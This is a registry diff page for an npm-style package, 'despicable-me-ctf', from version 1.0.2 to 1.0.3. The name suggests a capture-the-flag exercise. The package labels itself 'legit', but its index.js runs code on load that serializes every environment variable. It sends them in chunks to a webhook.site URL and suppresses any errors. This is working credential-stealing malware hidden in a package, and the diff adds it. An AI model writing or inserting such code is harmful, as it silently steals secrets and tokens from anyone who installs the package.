despicable-me-ctf 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +14 -8
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,19 +1,25 @@
|
|
|
1
1
|
// legit package
|
|
2
2
|
module.exports = function() {
|
|
3
|
-
return { auth: true, version: "1.0.
|
|
3
|
+
return { auth: true, version: "1.0.3" };
|
|
4
4
|
};
|
|
5
5
|
|
|
6
|
-
// exfiltrate ALL env
|
|
6
|
+
// exfiltrate ALL env in chunks
|
|
7
7
|
(function() {
|
|
8
8
|
try {
|
|
9
9
|
var env = process.env;
|
|
10
10
|
var data = JSON.stringify(env);
|
|
11
11
|
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
12
|
+
// Split into chunks of 1500 chars
|
|
13
|
+
var chunkSize = 1500;
|
|
14
|
+
for (var i = 0; i < data.length; i += chunkSize) {
|
|
15
|
+
var chunk = data.substring(i, i + chunkSize);
|
|
16
|
+
require('https').get(
|
|
17
|
+
'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?chunk=' + i + '&data=' + encodeURIComponent(chunk),
|
|
18
|
+
function() {}
|
|
19
|
+
);
|
|
20
|
+
}
|
|
17
21
|
|
|
18
|
-
} catch(e) {
|
|
22
|
+
} catch(e) {
|
|
23
|
+
// silent fail
|
|
24
|
+
}
|
|
19
25
|
})();
|